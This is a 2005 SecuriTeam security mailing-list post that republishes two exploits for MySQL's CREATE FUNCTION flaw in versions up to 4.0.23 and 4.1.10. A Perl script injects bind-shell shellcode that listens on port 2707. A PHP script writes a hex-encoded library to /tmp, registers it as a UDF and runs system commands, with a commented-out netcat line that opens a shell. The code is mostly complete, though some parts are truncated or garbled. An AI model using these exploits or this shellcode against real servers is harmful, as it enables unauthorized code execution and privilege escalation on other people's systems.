

[EXPL] MySQL "CREATE FUNCTION" Exploits

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0051.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/14/05

To: list@securiteam.com

Date: 14 Mar 2005 11:42:17 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

MySQL "CREATE FUNCTION" Exploits

SUMMARY

The following two exploits utilize MySQL's internal "CREATE FUNCTION" mechanism to inject arbitrary code and cause its execution under the privileges of the MySQL user.

DETAILS

Exploit (Code Injection):

```
#!/usr/bin/perl
```

```
## Mysql CREATE FUNCTION libc arbitrary code execution.
```

```
##
```

```
## Author: Stefano Di Paola
```

```
## Vulnerable: Mysql <= 4.0.23, 4.1.10
```

```
## Type of Vulnerability: Local/Remote – input validation
```

```
## Tested On : Mandrake 10.1 /Debian Sarge
```

```
## Vendor Status: Notified on March 2005
```

```
##
```

```
## Copyright 2005 Stefano Di Paola (stefano.dipaola@wisec.it)
```

```
##
```

```
##
```

```
## Disclaimer:
```

```
## In no event shall the author be liable for any damages
```

Securiteam: [EXPL] MySQL "CREATE FUNCTION" Exploits

```
## whatsoever arising out of or in connection with the use
## or spread of this information.
## Any use of this information is at the user's own risk.
##
##
##
## It calls on_exit(address)
## then overwrites the address with strtac or strcpy
## and then calls exit
##
## Usage:
## perl myexp.pl numberofnops offset
## Example:
## perl myexp.pl 3 0
#####

use strict;
use DBI();
use Data::Dumper;
use constant DEBUG => 0;
use constant PASS => "USEYOURPASSHERE";
# Connect to the database.
my $dbh = DBI->connect("DBI:mysql:database=test;host=localhost",
"root", PASS, { 'RaiseError' => 1 });

### This is the opcode pointed by the address where on_exit jumps
###
###
### 0x3deb jmp 0x3d
### but needs to be decremented by 2. ("shell",0x0x3de9,0)
## -1 -1 = 0x3de9-2
# resulting in 0x3deb
## 0x3d is the distance from the address on_exit calls and the beginning
of
## bind shell "\x6a\x66\x58\x6a\x01....
my $jmp=0x3de9+($ARGV[1]<<8);
printf("Using %x\n",$jmp);
my $zeros="0,"x($jmp);
### Bind_shell... works.....but maybe needs some nop \x90
### so i use argv[0] to repeat \x90
### It binds a shell to port 2707 (\x0a\x93)
my $shell= ("\x90"x$ARGV[0])."\x6a\x66\x58\x6a\x01".
"\x5b\x99\x52\x53\x6a\x02\x89".
"\xe1\xcd\x80\x52\x43\x68\xff\x02\x0a\x93\x89\xe1".
"\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80".
"\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0".
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80".
"\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f".
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
```


Securiteam: [EXPL] MySQL "CREATE FUNCTION" Exploits

```
while (my $ref = $sth->fetchrow_hashref()) {
print Dumper($ref);
}

my $strc="select strcat(".$shell.", ".$zeros."0), exit(0);";
print $strc, "\n" if(DEBUG);
$sth = $dbh->prepare($strc);
if (!$sth) {
print "Error:" . $dbh->errstr . "\n";
}

if (!$sth->execute) {
print "Error:" . $sth->errstr . "\n";
}
print "Select exit\n";
```

Exploit (Library Injection):

```
<?
/*****
** MySQL CREATE FUNCTION func table arbitrary library injection
**
** Author: Stefano Di Paola
** Vulnerable: Mysql <= 4.0.23, 4.1.10
** Type of Vulnerability: Local/Remote Privileges Escalation – input
validation
** Tested On : Mandrake 10.1 /Debian Sarge
** Vendor Status: Notified on March 2005
**
** Copyright 2005 Stefano Di Paola (stefano.dipaola@wisec.it)
**
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this information.
** Any use of this information is at the user's own risk.
**
**
*****/

// this is the MySQL root password.
$pass='useyourpasswordhere';

function mysql_create_db($db,$link)
{
$query="CREATE database $db;";
return mysql_query($query, $link) ;

}
// the library in little endian hex. (from NGS's Hackproofing_MySql
```


Securiteam: [EXPL] MySQL "CREATE FUNCTION" Exploits

```
0000000088000000100000030000007418 \  
00007408000040000000000000000000000040000000000 \  
0008d0000001000000030000007818000078 \  
0800002000000000000000000000004000000040000009 \  
20000008000000030000009818000098080000 \  
04000000000000000000000040000000000000970000 \  
000100000000000000000000098080000fa0000 \  
0000000000000000001000000000000010000000300 \  
000000000000000000092090000a00000000000 \  
00000000000010000000000000";  
  
$link=mysql_connect("127.0.0.1","root",$pass);  
if (!$link) {  
die('Could not connect: ' . mysql_error());  
}  
echo "Connected successfully as root\n";  
echo "creating db for lib\n";  
mysql_create_db('my_db',$link) or print ('cannot create my_db db,  
sorry!');  
echo "done....\n";  
echo "selecting db for lib\n";  
mysql_select_db('my_db') or print ('cannot use my_db db, sorry!');  
echo "done....\n";  
  
echo "creating blob table for lib\n";  
$query="CREATE TABLE blob_tab (blob_col BLOB);";  
$result = mysql_query($query, $link) or print("cannot create blob table  
for lib\n");  
echo "done....\n";  
  
echo "inserting blob table for lib\n";  
$query="INSERT into blob_tab values (CONVERT($solib,CHAR));";  
$result = mysql_query($query, $link) or print("cannot insert blob for  
lib\n");  
echo "done....\n";  
  
echo "dumping lib in /tmp/libso.so.0...\n";  
$query="SELECT blob_col FROM blob_tab INTO DUMPFILE '/tmp/libso.so.0';";  
$result = mysql_query($query, $link) or print("cannot dump lib\n");  
echo " done....\n";  
  
mysql_select_db('mysql') or die ('cannot use mysql db, sorry!');  
echo "sending lib....\n";  
  
$query="insert into func (name,dl) values  
( 'do_system', '/tmp/libso.so.0')";  
$result = mysql_query($query, $link);  
echo "done....\n";  
echo "Creating exit function to restart server\n";
```

Securiteam: [EXPL] MySQL "CREATE FUNCTION" Exploits

```
$query="create function exit returns integer soname 'libc.so.6';";
$result = mysql_query($query, $link) or print ("cannot create exit,
sorry!\n");
echo "done....\n";
echo "Selecting exit function\n";
```

```
$query="select exit();";
$result = mysql_query($query, $link);
echo "done!\nWaiting for server to restart\n";
```

```
sleep(1);
```

```
$link=mysql_connect("127.0.0.1","root",$pass);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo "Connected to MySql server again...\n";
```

```
//$cmd ='/usr/sbin/nc -l -p 8000 -e /bin/bash';
$cmd ='id >/tmp/id';
echo "Sending Command...$cmd\n";
$query="select do_system('$cmd');";
$result = mysql_query($query, $link);
echo "done!\n";
echo "Now use your fav shell and ls /tmp/id -l \n";
mysql_close($link);
```

```
?>
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:stefano.dipaola@wisec.it>>
Stefano Di Paola.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.